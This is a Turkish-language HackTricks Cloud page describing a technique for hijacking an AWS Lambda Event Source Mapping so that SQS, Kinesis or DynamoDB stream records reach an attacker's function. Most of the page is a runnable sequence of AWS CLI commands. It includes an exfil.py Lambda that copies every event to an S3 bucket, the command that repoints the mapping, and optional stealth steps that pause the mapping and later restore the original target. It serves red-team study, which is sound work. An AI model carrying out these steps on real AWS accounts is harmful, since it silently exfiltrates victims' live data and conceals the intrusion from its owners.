AWS - Event Source Mapping’i Ele Geçirerek Stream/SQS/Kinesis’i Saldırgan Lambda’ya Yönlendirme
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Var olan bir Event Source Mapping (ESM) için hedef Lambda fonksiyonunu değiştirmek amacıyla UpdateEventSourceMapping’i kötüye kullanın; böylece DynamoDB Streams, Kinesis veya SQS’ten gelen kayıtlar saldırgan kontrolündeki bir fonksiyona iletilir. Bu, üreticilere veya orijinal fonksiyon koduna dokunmadan canlı veriyi sessizce yönlendirir.
Etki
- Üretici uygulamalarını veya hedef kodu değiştirmeden mevcut akışlardan/kuyruklardan gelen canlı kayıtları yönlendirip okumak.
- Mağdurun trafiğini kötü niyetli bir fonksiyonda işleyerek potansiyel data exfiltration veya mantık tahrifi.
Gerekli izinler
lambda:ListEventSourceMappingslambda:GetEventSourceMappinglambda:UpdateEventSourceMapping- Saldırgan kontrolündeki bir Lambda’yı dağıtma veya referans verme yeteneği (
lambda:CreateFunctionveya mevcut birini kullanma izni).
Adımlar
- Mağdur fonksiyonu için Event Source Mapping’leri enumerate edin
TARGET_FN=<victim-function-name>
aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}'
export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].UUID' --output text)
export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \
--query 'EventSourceMappings[0].EventSourceArn' --output text)
- attacker-controlled alıcı Lambda’ı hazırlayın (aynı bölge; ideal olarak benzer VPC/runtime)
cat > exfil.py <<'PY'
import json, boto3, os, time
def lambda_handler(event, context):
print(json.dumps(event)[:3000])
b = os.environ.get('EXFIL_S3')
if b:
k = f"evt-{int(time.time())}.json"
boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event))
return {'ok': True}
PY
zip exfil.zip exfil.py
ATTACKER_LAMBDA_ROLE_ARN=<role-with-logs-(and optional S3)-permissions>
export ATTACKER_FN_ARN=$(aws lambda create-function \
--function-name ht-esm-exfil \
--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \
--handler exfil.lambda_handler --zip-file fileb://exfil.zip \
--query FunctionArn --output text)
- Eşleştirmeyi saldırgan fonksiyona yeniden yönlendir
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN
- Kaynağa bir event oluşturun, böylece mapping tetiklenir (örnek: SQS)
SOURCE_SQS_URL=<queue-url>
aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}'
- attacker function’ın batch’i alıp almadığını doğrulayın
aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5
- İsteğe bağlı stealth
# Pause mapping while siphoning events
aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false
# Restore original target later
aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true
Notlar:
- SQS ESM’leri için, kuyruğu işleyen Lambda’nın yürütme rolünün
sqs:ReceiveMessage,sqs:DeleteMessagevesqs:GetQueueAttributesizinlerine ihtiyacı vardır (managed policy:AWSLambdaSQSQueueExecutionRole). - ESM UUID aynı kalır; sadece
FunctionArndeğiştirilir, bu yüzden producers ve source ARNs etkilenmez.
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

